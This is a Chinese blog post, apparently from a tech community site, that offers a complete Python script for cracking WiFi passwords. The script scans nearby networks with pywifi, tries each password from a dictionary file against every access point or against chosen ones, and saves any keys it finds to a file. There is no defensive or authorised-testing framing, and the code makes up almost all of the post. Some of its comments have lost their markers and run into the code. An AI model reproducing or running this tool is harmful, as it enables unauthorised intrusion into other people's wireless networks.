hacker:Python通过对简单的WIFI弱口令实现自动实时破解


落幕
落幕 2022-09-20 09:24:27 51313
分类专栏: 资讯

hacker:Python通过对简单的WIFI弱口令实现自动实时破解

目录

输出结果

实现代码


输出结果

实现代码

  1. Python通过对简单的WIFI弱口令实现自动实时破解
  2. import sys
  3. import time
  4. import argparse
  5. from pywifi import *
  6. def get_wifi_interface():
  7. wifi = PyWiFi()
  8. if len(wifi.interfaces()) <= 0:
  9. print ('No wifi inteface found!')
  10. exit()
  11. if len(wifi.interfaces()) == 1:
  12. print ('Wifi interface found: %s'%(wifi.interfaces()[0].name()))
  13. return wifi.interfaces()[0]
  14. else:
  15. print ('%-4s %s'%('No','interface name'))
  16. for i,w in enumerate(wifi.interfaces()):
  17. print ('%-4s %s'%(i,w.name()))
  18. while True:
  19. iface_no = raw_input('Please choose interface No:')
  20. no = int(iface_no)
  21. if no>=0 and no < len(wifi.interfaces()):
  22. return wifi.interfaces()[no]
  23. def get_akm_name(akm_value):
  24. akm_name_value = {'NONE':0,'UNKNOWN':5,'WPA':1,'WPA2':3,'WPA2PSK':4,'WPAPSK':2}
  25. akm_names = []
  26. for a in akm_value:
  27. for k,v in akm_name_value.items():
  28. if v == a:
  29. akm_names.append(k)
  30. break
  31. if len(akm_names) == 0 :
  32. akm_names.append("OPEN")
  33. return '/'.join(akm_names)
  34. def get_iface_status(status_code):
  35. status = {'CONNCTED':4,'CONNECTING':3,'DISCONNETED':0,'INACTIVE':2,'SCANNING':1}
  36. for k,v in status.items():
  37. if v == status_code:
  38. return k
  39. return ''
  40. def scan(face):
  41. ap_list = {}
  42. print ("-"*72)
  43. print ("%-4s %-20s %-20s %-6s %s"%('No','SSID','BSSID','SIGNAL','ENC/AUTH'))
  44. face.scan()
  45. time.sleep(5)
  46. for i,x in enumerate(face.scan_results()):
  47. ssid = x.ssid
  48. if len(ssid) == 0: hidden ssid
  49. ssid = '<length: 0>'
  50. elif ssid == '\\x00': hidden ssid
  51. ssid = '<length: 1>'
  52. else:
  53. if len(x.akm) > 0: if len(x.akm)==0 ,the auth is OPEN
  54. ap_list[x.bssid] = x
  55. print ("%-4s %-20s| %-20s | %-6s | %s"%(i+1,ssid,x.bssid,x.signal,get_akm_name(x.akm)))
  56. return face.scan_results(),ap_list
  57. def test(i,face,x,key,stu,ts):
  58. showID = x.bssid if len(x.ssid)==0 or x.ssid=='\\x00' or len(x.ssid)>len(x.bssid) else x.ssid
  59. key_index = 0
  60. while key_index < len(key):
  61. k = key[key_index]
  62. x.key = k.strip()
  63. face.remove_all_network_profiles()
  64. face.connect(face.add_network_profile(x))
  65. code = -1
  66. t1 = time.time()
  67. now = time.time() - t1
  68. check connecting status
  69. while True:
  70. time.sleep(0.1)
  71. code = face.status()
  72. now = time.time()-t1
  73. timeout:try next
  74. if now>ts:
  75. break
  76. stu.write("\r%-6s| %-18s| %5.2fs | %-6s %-15s | %-12s"%(i,showID,now,len(key)-key_index,k.strip(),get_iface_status(code)))
  77. stu.flush()
  78. disconnect:maybe fail or busy
  79. if code == const.IFACE_DISCONNECTED :
  80. break
  81. connect:test success
  82. elif code == const.IFACE_CONNECTED:
  83. face.disconnect()
  84. stu.write("\r%-6s| %-18s| %5.2fs | %-6s %-15s | %-12s\n"%(i,showID,now,len(key)-key_index,k.strip(),'FOUND!'))
  85. stu.flush()
  86. return "%-20s | %s | %15s"%(x.ssid,x.bssid,k)
  87. if is busy,then retry:
  88. if code == const.IFACE_DISCONNECTED and now < 1:
  89. stu.write("\r%-6s| %-18s| %5.2fs | %-6s %-15s | %-12s"%(i,showID,now,len(key)-key_index,k.strip(),'BUSY!'))
  90. stu.flush()
  91. time.sleep(10)
  92. continue
  93. try next key:
  94. key_index = key_index + 1
  95. stu.write("\r%-6s| %-18s| %-6s | %-6s %-15s | %-12s\n"%(i,showID,'','','','FAIL!'))
  96. stu.flush()
  97. return False
  98. def auto_test(keys,timeout,result_file):
  99. output = sys.stdout
  100. iface = get_wifi_interface()
  101. scan for ap list
  102. ap_list = {}
  103. SCAN_NUMBER = 5
  104. for i in range(SCAN_NUMBER):
  105. scan_results,scan_ap = scan(iface)
  106. ap_list.update(scan_ap)
  107. print ('%s\nTEST WIFI LIST:'%('-'*72))
  108. print ("%-4s %-20s %-20s %-6s %s"%('No','SSID','BSSID','SIGNAL','ENC/AUTH'))
  109. item_index = 1
  110. for k,x in ap_list.items():
  111. print ("%-4s %-20s| %-20s | %-6s | %s"%(item_index,x.ssid,x.bssid,x.signal,get_akm_name(x.akm)))
  112. item_index = item_index + 1
  113. print ('TOTAL TEST WIFI:%s' %len(ap_list))
  114. test
  115. item_index = 1
  116. print ("%s\n%-6s| %-18s| %-4s | %-6s %-15s | %-12s\n%s"%("-"*72,"WIFINO","SSID OR BSSID","TIME","KEYNUM","KEY","STATUS","="*72))
  117. for k,v in ap_list.items():
  118. res = test(item_index,iface,v,keys,output,timeout)
  119. if res:
  120. with open(result_file,"a") as f:
  121. f.write(res)
  122. item_index = item_index + 1
  123. def manual_test(keys,timeout,result_file):
  124. output = sys.stdout
  125. iface = get_wifi_interface()
  126. choose one wifi to test
  127. wifi_no = ''
  128. scanres = None
  129. while True:
  130. scan for ap list
  131. scanres,ap_list = scan(iface)
  132. wifi_no = raw_input('Please choose test No:')
  133. if len(wifi_no.strip()) == 0: if no choice and press enter,refresh ap list
  134. continue
  135. else:
  136. break
  137. numbers = wifi_no.strip().split(',')
  138. print ("%s\n%-6s| %-18s| %-4s | %-6s %-15s | %-12s\n%s"%("-"*72,"WIFINO","SSID OR BSSID","TIME","KEYNUM","KEY","STATUS","="*72))
  139. for no in numbers:
  140. if int(no)>=1 and int(no)<= len(scanres):
  141. res = test(int(no),iface,scanres[int(no)-1],keys,output,timeout)
  142. if res:
  143. with open(result_file,"a") as f:
  144. f.write(res)
  145. def main():
  146. parse = argparse.ArgumentParser()
  147. parse.add_argument('-m', '--mode', default='a', choices=['a','m'],help='test mode:a(auto) or m(manual)')
  148. parse.add_argument('-k', '--key_file', default='top10.txt', help='test password dict file,default is top10.txt')
  149. args = parse.parse_args()
  150. timeout = 30
  151. result_file = 'result.txt'
  152. keys = ''
  153. with open(args.key_file,"r") as f:
  154. keys = f.readlines()
  155. print ("Total KEYS %s"%(len(keys)))
  156. if args.mode == 'a':
  157. auto_test(keys,timeout,result_file)
  158. else:
  159. manual_test(keys,timeout,result_file)
  160. print ('\nDone...')
  161. if __name__ == '__main__':
  162. main()

参考文章
PYTHON黑客编程(一):wifi密码暴力破解

网站声明:如果转载,请联系本站管理员。否则一切后果自行承担。

本文链接:https://www.xckfsq.com/news/show.html?id=3944
赞同 0
评论 0 条
落幕L0
粉丝 0 发表 6 + 关注 私信
上周热门
如何使用 StarRocks 管理和优化数据湖中的数据?  2947
【软件正版化】软件正版化工作要点  2867
统信UOS试玩黑神话:悟空  2828
信刻光盘安全隔离与信息交换系统  2723
镜舟科技与中启乘数科技达成战略合作,共筑数据服务新生态  1256
grub引导程序无法找到指定设备和分区  1221
华为全联接大会2024丨软通动力分论坛精彩议程抢先看!  164
点击报名 | 京东2025校招进校行程预告  163
2024海洋能源产业融合发展论坛暨博览会同期活动-海洋能源与数字化智能化论坛成功举办  162
华为纯血鸿蒙正式版9月底见!但Mate 70的内情还得接着挖...  157
本周热议
我的信创开放社区兼职赚钱历程 40
今天你签到了吗? 27
如何玩转信创开放社区—从小白进阶到专家 15
信创开放社区邀请他人注册的具体步骤如下 15
方德桌面操作系统 14
用抖音玩法闯信创开放社区——用平台宣传企业产品服务 13
我有15积分有什么用? 13
如何让你先人一步获得悬赏问题信息?(创作者必看) 12
2024中国信创产业发展大会暨中国信息科技创新与应用博览会 9
中央国家机关政府采购中心:应当将CPU、操作系统符合安全可靠测评要求纳入采购需求 8

加入交流群

请使用微信扫一扫!